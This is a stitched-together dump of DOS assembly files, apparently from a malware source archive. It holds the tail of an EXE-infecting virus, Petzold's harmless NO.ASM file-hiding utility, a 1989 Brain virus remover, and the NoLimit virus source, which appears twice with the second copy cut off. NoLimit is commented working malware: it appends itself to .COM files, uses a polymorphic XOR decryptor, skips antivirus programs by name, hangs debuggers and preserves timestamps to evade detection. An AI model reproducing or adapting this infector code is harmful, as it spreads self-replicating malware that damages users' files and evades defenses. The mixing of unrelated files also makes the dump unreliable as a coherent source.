or ax,ax ; Filesize too large?
jnz find_next ; Not zero? Jump to find_next
clc ; Clear carry flag
call read_file
jc find_next ; Error? Jump to find_next
shl word ptr ds:[0ch],01h
jp find_next ; Too much addition... Jump to find_next
cld ; Clear direction flag
lea si,[bp+(scan_string-virus_begin)]
xor di,di ; Zero DI
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
compare_loop:
pusha ; Save all registers at stack
mov cx,(string_end-string_begin)
rep cmpsb ; Microsoft C error messages?
popa ; Load all registers from stack
je infect_file ; Equal? Jump to infect_file
inc di ; Increase index register
loop compare_loop
find_next:
mov ah,4fh ; Find next matching file (DTA)
int 21h
jnc examine_file ; No error? Jump to examine_file
int 17h
virus_exit:
pop es ds ; Load segments from stack
mov dx, 80h ; DX = offset of default Disk tran...
mov ah,1ah ; Set Disk Transfer Area address
int 21h
mov ax,cs ; AX = code segment
add cs:[bp+(initial_cs-virus_begin)],ax
jmp dword ptr cs:[bp+(initial_csip-virus_begin)]
infect_file:
mov bx,di ; BX = offset of virus within file
lea si,[bp+(code_begin-virus_begin)]
mov cx,(code_end-code_begin)
rep movsb ; Move virus to Microsoft C error ...
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov si,14h ; SI = offset of initial IP
lea di,[bx+(initial_csip-code_begin)]
push si ; Save SI at stack
movsw ; Store initial IP
movsw ; Store initial CS relative to sta...
pop si ; Load SI from stack
mov [si+02h],cx ; Store initial CS relative to sta...
mov ax,ds:[08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply header size in paragrap...
shl ax,cl ; AX = header size
sub bx,ax ; Subtract header size from initia...
mov [si],bx ; Store initial IP
stc ; Set carry flag
call write_file
jmp virus_exit
read_file proc near ; Read from file
write_file proc near ; Write to file
pushf ; Save flags at stack
mov ax,3d00h ; Open file (read); Create or trun...
sbb ah,al ; " " " " " "
xor cx,cx ; CX = file attributes
mov dx,1eh ; DX = offset of filename
push ss ; Save SS at stack
pop ds ; Load DS from stack (SS)
int 21h
mov bx,ax ; BX = file handle
pop ax ; Load AX from stack (flags)
jc error ; Error? Jump to error
mov cx,ds:[1ah] ; CX = low-order word of file size
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
mov ah,al ; AH = low-order byte of flags
sahf ; Store register AH into flags
mov ah,3fh ; Read from file; Write to file
adc ah,dl ; " " " " " "
int 21h
mov ah,3eh ; Close file
int 21h
error:
ret ; Return
endp
endp
code_end:
end code_begin

View File

@ -0,0 +1,312 @@
; NO.ASM -- Hides specified files from command that follows
; ======
CSEG Segment
Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG
Org 002Ch
Environment Label Word ; Segment of Environment is here
Org 0080h
Parameter Label Byte ; Parameter is here
Org 0100h
Entry: Jmp Begin ; Entry Point
; Most Data (some more at end of program)
; ---------------------------------------
db "Copyright 1986 Ziff-Davis Publishing Co.",1Ah
db " Programmed by Charles Petzold ",1Ah
SyntaxMsg db "Syntax: NO filespec command [parameters]$"
DosVersMsg db "NO: Needs DOS 2.0 +$"
FileSpecMsg db "NO: Incorrect File Spec$"
TooManyMsg db "NO: Too many files to hide$"
MemAllocMsg db "NO: Allocation Problem$"
CommandMsg db "NO: COMMAND Problem$"
Delimiters db 9,' ,;='
FileList dw ? ; Storage of found files
FileCount dw 0 ; Count of found files
FileListEnd dw ? ; End of storage of found files
BreakState db ? ; Store original break state here
Comspec db 'COMSPEC=' ; String for Environment search
ParamBlock dw ? ; Parameter block for EXEC call
dw ?, ?
dw 5Ch, ?
dw 6Ch, ?
StackPointer dw ? ; Save SP during EXEC call
; Check DOS Version
; -----------------
Begin: Mov AH, 30h ; Check for DOS Version
Int 21h ; through DOS call
Cmp AL, 2 ; See if it's 2.0 or above
Jae DosVersOK ; If so, continue
Mov DX, Offset DosVersMsg ; Error message
ErrorExit: Mov AH, 9 ; Print String function call
Int 21h ; Do it
Int 20h ; And exit prematurely
; Parse Command Line to get NO File specification
; -----------------------------------------------
ScanParam: Lodsb ; SUBROUTINE: Get byte
Cmp AL, 13 ; See if end of parameter
Je ErrorExit ; If so, exit
Mov DI, Offset Delimiters ; Check if delimiter
Mov CX, 5 ; There are 5 of them
Repne Scasb ; Scan the string
Ret ; And return
DosVersOK: Mov DX, Offset SyntaxMsg ; Possible error msg
Mov SI, 1+Offset Parameter ; NO Parameter string
Cld ; Directions forward
BegSearch: Call ScanParam ; Check byte in subroutine
Je BegSearch ; If delimiter, keep searching
Mov BX, SI ; Save pointer in BX
Dec BX ; BX points to NO file spec
EndSearch: Call ScanParam ; Check byte in subroutine
Jne EndSearch ; If not delimiter, keep going
; Construct full FilePath and save down at end of program
; -------------------------------------------------------
Dec SI ; Points after NO file spec
Xchg SI, BX ; SI points to beg, BX to end
Mov DI, Offset FullPath ; Points to destination
Cmp Byte Ptr [SI + 1], ':' ; See if drive spec included
Jnz GetDrive ; If not, must get the drive
Lodsw ; Otherwise, grab drive spec
And AL, 0DFh ; Capitalize drive letter
Jmp Short SaveDrive ; And skip next section
GetDrive: Mov AH, 19h ; Get current drive
Int 21h ; through DOS
Add AL, 'A' ; Convert to letter
Mov AH, ':' ; Colon after drive letter
SaveDrive: Stosw ; Save drive spec and colon
Mov AL, '\' ; Directory divider byte
Cmp [SI], AL ; See if spec starts at root
Jz HaveFullPath ; If so, no need to get path
Stosb ; Store that character
Push SI ; Save pointer to parameter
Mov SI, DI ; Destination of current path
Mov DL, [SI - 3] ; Drive letter specification
Sub DL, '@' ; Convert to number
Mov AH, 47h ; Get current directory
Int 21h ; through DOS
Mov DX, Offset FileSpecMsg ; Possible error message
Jc ErrorExit ; Exit if error
Sub AL, AL ; Search for terminating zero
Cmp [SI], AL ; Check if Root Directory
Jz RootDir ; If so, don't use it
Mov CX, 64 ; Number of bytes to search
Repnz Scasb ; Do the search
Dec DI ; DI points to last zero
Mov AL, '\' ; Put a backslash in there
Stosb ; So filespec can follow
RootDir: Pop SI ; Get back SI
HaveFullPath: Mov CX, BX ; End of NO file spec
Sub CX, SI ; Number of bytes to transfer
Rep Movsb ; Transfer them
Sub AL, AL ; Terminating zero
Stosb ; Save it
Mov [FileList], DI ; Repository for found files
; Fix up parameter and ParamBlock for eventual COMMAND load
; ---------------------------------------------------------
Sub BX, 4 ; Points to new param begin
Mov AL, [Parameter] ; Old byte count of parameter
Add AL, 80h ; Add beginning of old param
Sub AL, BL ; Subtract beginning of new
Mov AH, ' ' ; Space separator
Mov Word Ptr [BX], AX ; Store it
Mov Word Ptr [BX + 2], 'C/' ; Add /C to beginning of rest
Mov AX, [Environment] ; Get environment segment
Mov [ParamBlock], AX ; Save it
Mov [ParamBlock + 2], BX ; Save parameter pointer
Mov [ParamBlock + 4], CS ; Save segment of ParamBlock
Mov [ParamBlock + 8], CS
Mov [ParamBlock + 10], CS
; Find Files from NO File Specification
; -------------------------------------
Mov DX, Offset DTABuffer ; Set File Find buffer
Mov AH, 1Ah ; by calling DOS
Int 21h
Mov DI, [FileList] ; Address of destination
Mov DX, Offset FullPath ; Search string
Sub CX, CX ; Search Normal files only
Mov AH, 4Eh ; Find first file
FindFile: Int 21h ; Call DOS to find file
Jnc Continue ; If no error continue
Cmp AX, 18 ; If no more files
Jz NoMoreFiles ; get out of the loop
Mov DX, Offset FileSpecMsg ; Error message otherwise
Jmp ErrorExit ; Exit and print message
Continue: Mov AX, DI ; Address of destination
Add AX, 512 ; See if near top of segment
Jc TooManyFiles ; If so, too many files
Cmp AX, SP ; See if getting too many
Jb StillOK ; If not, continue
TooManyFiles: Mov DX, Offset TooManyMsg ; Otherwise error message
Jmp ErrorExit ; And terminate
StillOK: Mov SI, 30+Offset DTABuffer ; Points to filename
Call AsciizTransfer ; Transfer it to list
Inc [FileCount] ; Kick up counter
Mov AH, 4Fh ; Find next file
Jmp FindFile ; By looping around
NoMoreFiles: Mov [FileListEnd], DI ; Points after last file
Mov DI, [FileList] ; Points to end of find string
Mov CX, 64 ; Search up to 64 bytes
Mov AL, '\' ; For the backslash
Std ; Search backwards
Repnz Scasb ; Do the search
Mov Byte Ptr [DI + 2], 0 ; Stick zero in there
Cld ; Fix up direction flag
; Stop Ctrl-Break Exits and Hide the files
; ----------------------------------------
Mov AX,3300h ; Get Break State
Int 21h ; By calling DOS
Mov [BreakState],DL ; Save it
Sub DL,DL ; Set it to OFF
Mov AX,3301h ; Set Break State
Int 21h ; By calling DOS
Mov BL, 0FFh ; Value to AND attribute
Mov BH, 02h ; Value to OR attribute
Call ChangeFileMode ; Hide all the files
; Un-allocate rest of memory
; --------------------------
Mov BX, [FileListEnd] ; Beyond this we don't need
Add BX, 512 ; Allow 512 bytes for stack
Mov SP, BX ; Set new stack pointer
Add BX, 15 ; Prepare for truncation
Mov CL,4 ; Prepare for shift
Shr BX,CL ; Convert to segment form
Mov AH,4Ah ; Shrink allocated memory
Int 21h ; By calling DOS
Mov DX,Offset MemAllocMsg ; Possible Error Message
Jc ErrorExit2 ; Print it and terminate
; Search for Comspec in Environment
; ---------------------------------
Push ES ; We'll be changing this
Mov ES, [Environment] ; Set ES to Environment
Sub DI, DI ; Start at the beginning
Mov SI, Offset ComSpec ; String to search for
Mov DX, Offset CommandMsg ; Possible error message
TryThis: Cmp Byte Ptr ES:[DI], 0 ; See if points to zero
Jz ErrorExit2 ; If so, we can't go on
Push SI ; Temporarily save these
Push DI
Mov CX, 8 ; Search string has 8 chars
Repz Cmpsb ; Do the string compare
Pop DI ; Get back the registers
Pop SI
Jz LoadCommand ; If equals, we've found it
Sub AL, AL ; Otherwise search for zero
Mov CX, -1 ; For 'infinite' bytes
Repnz Scasb ; Do the search
Jmp TryThis ; And try the next string
; Load COMMAND.COM
; -----------------
LoadCommand: Add DI, 8 ; so points after 'COMSPEC='
Push DS ; Switch DS and ES registers
Push ES
Pop DS
Pop ES
Mov [StackPointer],SP ; Save Stack Pointer
Mov DX, DI ; DS:DX = Asciiz of COMMAND
Mov BX, Offset ParamBlock ; ES:BX = parameter block
Mov AX, 4B00h ; EXEC function call
Int 21h ; Load command processor
; Return from COMMAND.COM
; -----------------------
Mov AX, CS ; Current code segment
Mov DS, AX ; Reset DS to this segment
Mov ES, AX ; Reset ES to this segment
Mov SS, AX ; Reset stack segment to it
Mov SP, [StackPointer] ; Reset SP
Pushf ; Save error flag
Sub DL,DL ; Set Ctrl Break to OFF
Mov AX,3301h
Int 21h ; By calling DOS
Popf ; Get back error flag
Mov DX,Offset CommandMsg ; Set up possible error msg
Jnc Terminate ; And print if EXEC error
; Unhide the Files, restore Ctrl-Break state, and exit
; ----------------------------------------------------
ErrorExit2: Mov AH,9 ; Will print the string
Int 21h ; Print it
Terminate: Mov BL, 0FDh ; AND value for change
Mov BH, 00h ; OR value for change
Call ChangeFileMode ; Change file attributes
Mov DL,[BreakState] ; Original break-state
Mov AX,3301h ; Change the break-state
Int 21h ; by calling DOS
Int 20h ; Terminate
; SUBROUTINE: Change File Mode (All files, BL = AND, BH = OR)
; -----------------------------------------------------------
ChangeFileMode: Mov CX, [FileCount] ; Number of files
Jcxz EndOfChange ; If no files, do nothing
Mov SI, [FileList] ; Beginning of list
Mov DX, [FileListEnd] ; End of List
ChangeLoop: Push SI ; Save pointer
Mov SI, Offset FullPath ; Preceeding path string
Mov DI, DX ; Destination of full name
Call AsciizTransfer ; Transfer it
Dec DI ; Back up to end zero
Pop SI ; Get back pointer to filename
Call AsciizTransfer ; Transfer it
Push CX ; Save the counter
Mov AX, 4300h ; Get attribute
Int 21h ; by calling DOS
And CL, BL ; AND with BL
Or CL, BH ; OR with BH
Mov AX, 4301h ; Now set attribute
Int 21h ; by calling DOS
Pop CX ; Get back counter
Loop ChangeLoop ; And do it again if necessary
EndOfChange: Ret ; End of subroutine
; SUBROUTINE: Asciiz String Transfer (SI, DI in, returned incremented)
; --------------------------------------------------------------------
AsciizTransfer: Movsb ; Transfer Byte
Cmp Byte Ptr [DI - 1], 0 ; See if it was end
Jnz AsciizTransfer ; If not, loop
Ret ; Or leave subroutine
; Variable length data stored at end
; ----------------------------------
DTABuffer Label Byte ; For file find calls
FullPath equ DTABuffer + 43 ; For file path and names
CSEG EndS ; End of the segment
End Entry ; Denotes entry point


View File

@ -0,0 +1,331 @@
; Date : 27-1-1989
; Ver : 1.04
; Program : Kill the Brain Virus
Cseg Segment Para Public 'MyCode'
Assume cs:Cseg,ds:Cseg
Org 100h
Start: Mov dx,offset CRight ;print copyright notice
Call DispStr
Mov ah,19h ;get current drive
Int 21h
Mov Drive,al ;save it
Call GetDrive ;Get drive if possible
Jc Exit
Call ChVirus ;virus present?
Jc Exit ;exit if not
Call FindBoot ;Find correct boot sector
Mov dx,offset VirusKill
Call DispStr
Call ReadFats ;Read the FAT tables
Jc Exit
Call CheckBad
Exit: Mov ax,4C00h
Int 21h
FindBoot Proc
Mov dl,[si+6]
Mov ax,18 ;9 sectors/track * 2 sides
Mov cl,[si+8]
Mul cl
Or dl,dl
Jz Fb1
Add ax,10 ;Move to the next side
Fb1: Mov dx,ax ;read this sector
Mov cx,1 ;Read one sector
Mov bx,offset PrgEnd ;Read it here
Mov al,Drive ;Get drive number
Int 25h ;Read interrupt
Jnc Fb2
Add sp,2
Mov dx,offset MesOh1
Call DispStr
Stc
Ret
Fb2: Add sp,2
Xor dx,dx ;Write at boot
Mov cx,1 ;Write one sector
Mov bx,offset PrgEnd ;Write from here
Mov al,Drive ;Get drive number
Int 26h ;Write interrupt
Jnc Fb3
Add sp,2
Mov dx,offset MesOh2 ;Print message
Call DispStr
Stc
Ret
Fb3: Add sp,2
Clc
Ret
FindBoot Endp
PointTo Proc
Push bx
Mov dx,ax
Add ax,ax
Add ax,dx
Mov dx,ax
Shr ax,1 ;Cluster * 1.5
Mov bx,offset PrgEnd
Add bx,ax
Mov ax,ds:[bx] ;Get entry
Test dx,1
Jnz Point1
And ax,0FFFh
Jmp short Point0
Point1: Shr ax,1
Shr ax,1
Shr ax,1
Shr ax,1
Point0: Pop bx
Ret
PointTo Endp
ReadFats Proc
Mov bx,offset PrgEnd
Mov al,Drive
Mov cx,4 ;read FAT1 and FAT2
Mov dx,1 ;FAT sectors
Int 25h ;Read FAT tables
Jnc Rf1
Add sp,2
Mov dx,offset FatError
Call DispStr
Stc
Ret
Rf1: Add sp,2
Clc
Ret
ReadFats Endp
CheckBad Proc
Call FindBad ;Find real boot sector
Call WriteFats
Exit1: Ret
CheckBad Endp
FindBad Proc
Mov cx,354 ;Check 354 clusters
Mov ax,2 ;start with cluster 2
Mov bx,ax
FM: Call PointTo ;Find where it points
Cmp ax,0FF7h ;Is it bad?
Jz ChkBd ;Check if realy bad
FindMore1: Inc bx
Mov ax,bx
Loop FM
Ret
ChkBd: Push ax
Call CheckCluster ;bx=cluster number, try to read
Pop ax
Jmp short FindMore1
FindBad Endp
WriteFats Proc
Mov bx,offset PrgEnd
Mov al,Drive
Mov cx,4 ;FAT1 and FAT2
Mov dx,1 ;Start of FAT sectors
Int 26h ;Write FAT tables
Jnc Wf1 ;Jump if not fail
Add sp,2
Mov dx,offset MesOh3 ;Write error
Call DispStr
Stc
Ret
Wf1: Add sp,2
Clc
Ret
WriteFats Endp
CheckCluster Proc
Push bx
Push cx
Sub bx,2
Sal bx,1
Add bx,12 ;bx=sector number
Mov dx,bx ;sector
Mov cx,2 ;2 sectors
Mov bx,offset PrgEnd+205
Mov al,Drive
Int 25h ;Read sectors
Jnc QRc1
Add sp,2
Mov al,2 ;err 2=try more
Pop cx
Pop bx
Ret
QRc1: Add sp,2
Pop cx
Pop bx ;Mark cluster bx as not bad
Mov ax,bx
Push bx
Mov dx,ax
Add ax,ax
Add ax,dx
Mov dx,ax
Shr ax,1 ;Cluster * 1.5
Mov bx,offset PrgEnd
Add bx,ax
Mov ax,ds:[bx] ;Get entry
Test dx,1
Jnz QPo1
And ax,0F000h
Jmp short QPo2
QPo1: And ax,000Fh
QPo2: Mov ds:[bx],ax ;Write entry to FAT1
Mov ds:[bx+1024],ax ;Write entry to FAT2
Pop bx
Ret
CheckCluster Endp
ChVirus Proc
Call ReadBoot ;Read the boot sector
Jnc ChVirus1
Ret
ChVirus1: Mov si,offset PrgEnd
Mov dx,offset MesBad ;Assume bad news
Cmp word ptr [si+4],1234h
Jz InThere
Mov dx,offset MesGood ;Assume all OK
Mov di,436 ;Vector of interrupt 13h
Push es
Xor ax,ax
Mov es,ax
Mov ax,es:[di+2] ;get segment of the interrupt
Pop es
Cmp ax,0C800h
Jb InThere
Mov dx,offset MesBad1 ;active now!
Call DispStr
Mov bx,offset PrgEnd
Mov ah,2 ;Read
Mov al,1 ;1 sector
Mov dl,Drive
Xor dh,dh ;head number
Xor ch,ch ;track number
Mov cl,1 ;sector 1
Int 6Dh ;Virus uses interrupt 6Dh
Mov si,offset PrgEnd
Mov dx,offset MesBad
Cmp word ptr [si+4],1234h
Jz InThere1
Mov dx,offset MesGood
Call DispStr
Stc ;No need to do more.
Ret
InThere: Call DispStr
Clc ;Do more
Ret
InThere1: Call DispStr ;write bad news
Mov dx,offset MesBad2 ;No lasting effect
Jmp short InThere
ChVirus Endp
ReadBoot Proc
Mov bx,offset PrgEnd ;Put it here
Mov al,Drive ;Drive to use
Mov cx,1 ;One sector
Xor dx,dx ;Boot sector
Int 25h ;Read it
Jnc P0
Add sp,2
Mov dx,offset MesBoot
Cmp ah,80h ;Time-out?
Jz P1
Mov dx,offset MesBoot1
P1: Call DispStr
Stc ;Error
Ret ;Go
P0: Add sp,2
Clc ;No error
Ret ;Go
ReadBoot Endp
GetDrive Proc
Mov si,80h
Mov cl,[si] ;Get length of command tail
Xor ch,ch
Or cx,cx
Jnz Lab1
Cmp byte ptr Drive,2
Jae DriveError1
Clc
Ret
Lab1: Add si,cx
Inc si
Mov byte ptr [si],0 ;Command ends with 0
Mov si,81h
Cld
SpOut: Lodsb
Cmp al,32
Jz SpOut ;Skip blanks
Or al,al
Jnz Stan1
Ret
Stan1: Lodsb
Or al,al
Jnz Check1
Ret
Check1: Cmp al,':'
Jnz Stan1
Cmp si,84h
DriveCheck: Jb DriveError
Mov al,[si-2]
And al,223 ;Convert to upper case
Cmp al,'A'
Jb DriveError1
Cmp al,'B'
Ja DriveError1
Sub al,65 ;Convert drive to 0 or 1
Mov Drive,al
Clc
Ret
DriveError: Mov dx,offset Err8 ;Drive expected
Call DispStr
Stc
Ret
DriveError1: Mov dx,offset Err9 ;Invalid drive
Call DispStr
Stc
Ret
GetDrive Endp
DispStr Proc
Mov ah,9
Int 21h
Ret
DispStr Endp
CRight db 13,10
db 'Kill the <Brain> virus Ver 1.04, 27-1-1989',13,10
db '(C) Fragakis Stelios 1988,1989',13,10,13,10,'$'
Err8 db 'Error 8 : Drive expected.$'
Err9 db 'Error 9 : Invalid drive specified. Must be A or B.$'
MesBoot db 13,10
db 'Program execution aborted. Door open?',13,10,'$'
MesBoot1 db 13,10
db 'I can not read the boot sector.',13,10
db 'Disk can not contain the virus <Brain>.',13,10,'$'
FatError db 13,10
db 'Sorry, I can not read the FAT tables.',13,10
db 'FAT corrections not written to disk.',13,10,'$'
VirusKill db 'Virus <Brain> was successfully killed.',13,10,'$'
MesOh1 db 'DISK ERROR : I can not read the correct boot sector.'
db 13,10,'$'
MesOh2 db 'Failed to write correct boot sector in boot area.'
db 13,10,'$'
MesOh3 db 'Failed to write FAT tables. Corrections lost.'
db 13,10,'$'
MesGood db 'Good News : The disk is not <Brain> contaminated.'
db 13,10,'$'
MesBad db 'Bad News : The disk is <Brain> contaminated.'
db 13,10,'$'
MesBad1 db '* WARNING *',13,10
db 'Virus <Brain> is active right now !',13,10,'$'
MesBad2 db 13,10
db 'Remove the disk after the virus is killed',13,10
db 'to avoid the risk of contamination.',13,10,13,10,'$'
Count db 0 ;Count 0..58
Drive db 0 ;Current drive
PrgEnd:
Cseg Ends
End Start


View File

@ -0,0 +1,266 @@
;
; NoLimit Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
Version Equ 1 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ah,B Ds:[046ch] ;
Mov Ds,Cs ; If Ah is zero, goto
Cmp Ah,0 ; EncryptIt
Je EncryptIt ;
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
Test Ah,4 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Xchg Ah,Al ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $

View File

@ -0,0 +1,266 @@
;
; NoLimit Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
Version Equ 1 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
